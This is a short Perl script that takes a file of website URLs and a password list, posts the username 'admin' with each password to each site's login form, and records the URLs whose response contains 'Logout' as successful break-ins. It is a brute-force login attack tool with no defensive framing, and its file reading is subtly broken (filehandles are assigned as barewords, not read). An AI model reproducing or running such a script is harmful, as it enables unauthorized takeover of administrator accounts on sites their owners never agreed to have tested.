#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
open(TXT,'>','urls.txt');
open(SITES,'<',$ARGV[0]);
open(PASSWD,'<',$ARGV[1]);
###################
   	print "Wait... searching...\n";
         my @websites = SITES;
         my @passwds  = PASSWD;
         foreach my $website (@websites) {
         	foreach my $passwd (@passwds) {
                	HTTP_POST($website,'admin',$passwd)
                }
         }
sub HTTP_POST() {
          my $url = $_[0];
          my $user = $_[1];
          my $pass = $_[2];
          my $browser=LWP::UserAgent->new();
        my $res =   $browser->post($url,{
          'username'=>$user,
          'passwd'=>$pass
	});
        if ($res->content=~/Logout/) {
        	print TXT $url."\n";
        }
        sleep(1);
}